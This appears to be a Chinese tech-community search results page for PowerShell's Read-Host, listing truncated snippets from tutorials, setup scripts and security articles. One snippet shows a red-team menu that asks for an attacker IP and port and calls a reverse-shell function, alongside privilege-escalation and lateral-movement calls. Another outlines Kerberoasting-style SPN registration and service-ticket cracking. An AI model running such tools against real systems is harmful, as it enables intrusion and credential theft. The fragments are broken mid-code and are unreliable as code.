首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏网络安全技术点滴分享

    红队终端:高级系统枚举与权限提升工具详解

    while ($true) { $input = Read-Host "输入命令" switch ($input.ToLower()) { 'sysinfo { Scan-Network } 'priv' { Priv-EscalationCheck } 'rev' { $ip = Read-Host "输入攻击者IP" $port = Read-Host "输入端口" Start-ReverseShell -ip $ip -port $port "输入目标IP" $command = Read-Host "输入要执行的命令" Lateral-Movement -targetIp $targetIp } } }}# 启动红队终端Start-RedTeamTerminal# 关闭前暂停Read-Host "按Enter退出..."

    20610编辑于 2025-08-23
  • 来自专栏FreeBuf

    记一次编写域账号弱口令审计工具

    userStr "注册失败" $faiUserList.add($userStr)|Out-Null } # 暂停 等待用户输入数据 # Read-Host "| 6 使用SPN审计获得的密码通过LDAP方式再次进行审计" Write-Host "| 7 全部运行" Write-Host "| 0 EXIT" $choice = Read-Host Crack-ServiceTicket $krbstHashFile $passwdDictFile break } 5 { Read-Host 注册SPN Read-Host "为每一个域用户账号注册SPN" $sucUserList,$sucSPNList,$faiUserList = Set-SPN 删除SPN Read-Host "下面将要为注册SPN成功的域用户账户删除SPN" Del-SPN $sucSPNList $sucUserList

    1.5K00发布于 2019-11-13
  • 来自专栏乐百川的学习频道

    做一个自动配置JDK环境变量的Powershell脚本

    $e.DisplayName $id++ } $choice = [int](Read-Host -Prompt "which to use ?") $e.DisplayName $id++ } $choice = [int](Read-Host -Prompt "应该使用哪个?")

    2.4K50发布于 2018-01-09
  • 来自专栏汪宇杰博客

    懒猿福利:自动安装 Windows 10 开发环境

    获取用户输入的命令是Read-Host,输出文字的命令是Write-Host,给变量赋值直接用=,不需要声明类型。 要求用户输入计算机名,并重命名的Powershell代码如下: $computerName = Read-Host 'Enter New Computer Name' Write-Host "Renaming 为了假装用户友好,我们可以给用户一个确认,让人工来触发重启操作,只要用Read-Host就行。 Read-Host -Prompt "Configuration is done, restart is needed, press [ENTER] to restart computer."

    2.2K30发布于 2019-07-15
  • 来自专栏悟空聊架构 | 公众号

    玩转PowerShell第二节——【利用PsExec进行远程调用】-技术&分享

    实例 test.ps1的路径:D:\01_360Cloud\02_MyBlogs\PowerShell\Source\test.ps1 test.ps1脚本 1 Write-Host "abc" 2 Read-Host

    1.9K80发布于 2018-05-18
  • 来自专栏网络安全自修室

    Powershell语法入门

    ping $url } myping www.baidu.com PowerShell函数返回值 return PowerShell定义文本 `转义 PowerShell实现用户交互 $input=read-host

    9.7K40发布于 2020-08-21
  • 来自专栏小徐学爬虫

    PowerShell部署Windows爬虫自动化方案

    proxy-server:8080"$env:HTTP_PROXY = $proxy$env:HTTPS_PROXY = $proxy5、安全与优化1、认证管理:# 安全存储API密钥$secureKey = Read-Host

    29010编辑于 2025-08-06
  • 来自专栏网络安全自修室

    Powershell语法入门总结

    ping $url } myping www.baidu.com PowerShell函数返回值 return PowerShell定义文本 `转义 PowerShell实现用户交互 $input=read-host

    4.5K20发布于 2021-11-25
  • 来自专栏渗透云笔记

    网络安全自学篇(二十)| Powershell基础入门及常见用法(二)

    2.用户交互 read-host 读取用户的输入。 ? ? 3.格式化字符串 传统的多个变量输出方法: ? ? 格式化字符串输出方法: ? ?

    3.9K20发布于 2020-04-24
  • 来自专栏独行猫a的沉淀积累总结

    C++与lua的结合,LuaBridge的使用

    附ps脚本: $VcpkgPath = "F:/vcpkg/scripts/buildsystems/vcpkg.cmake" #if (($result = Read-Host "Enter the

    2.2K30编辑于 2022-05-11
  • 来自专栏洛米唯熊

    Win-SMBGhost-RCE漏洞检测防御

    SetRegSmbv3Compression CheckWindowsVersion CheckIfUpdateIsInstalled Do { Get-Menu $input = Read-Host

    90200发布于 2020-03-16
  • 来自专栏独行猫a的沉淀积累总结

    gtest单元测试框架介绍及简单使用

    若使用命令行下尝试,则推荐使用powershell脚本,附个示例: $VcpkgPath = "F:/vcpkg/scripts/buildsystems/vcpkg.cmake" #if (($result = Read-Host

    4.8K32编辑于 2022-04-13
  • 来自专栏Khan安全团队

    使用 AD 诱饵检测 LDAP 枚举和Bloodhound 的 Sharphound 收集器

    Path “OU=Managers,DC=threatlab,DC= corp” -AccountPassword(读取主机 -AsSecureString “请输入密码”)-启用 $true 注意: Read-Host

    3.5K20编辑于 2021-12-27
  • 来自专栏Khan安全团队

    漏洞告之:SMBv3协议远程代码执行漏洞(附自查脚本)

    SetRegSmbv3Compression CheckWindowsVersion CheckIfUpdateIsInstalled Do { Get-Menu $input = Read-Host

    1.3K20发布于 2020-03-20
  • 来自专栏张善友的专栏

    CentOS 7 上面安装PowerShell

    Microsoft.PowerShell.Core Receive-Job Cmdlet Microsoft.PowerShell.Core Remove-Item Cmdlet Microsoft.PowerShell.Management Read-Host

    1.9K80发布于 2018-01-19
  • 来自专栏全栈工程师修炼之路

    2.PS编程入门基础语法

    $number = Get-Random -Minimum 1 -Maximum 10 do { $guess = Read-Host -Prompt "What's your guess?" $number = Get-Random -Minimum 1 -Maximum 10 do { $guess = Read-Host -Prompt "What's your guess?"

    13.4K60编辑于 2022-09-29
  • 来自专栏重生信息安全

    UnmanagedPowerShell工具分析

    This is planned *********`n`n\"\n\ Read-Host\n"; InvokeMethod(spType, L"InvokePS", argument); Cleanup

    2.9K10发布于 2020-03-06
  • 来自专栏jeremy的技术点滴

    powershell学习备忘

    ForEach-Object {$_.Kill()} Foreach 循环 $array=7..10 foreach ($n in $array) { $n*$n } Do While 循环 do { $n=Read-Host

    14.2K60发布于 2018-05-10
领券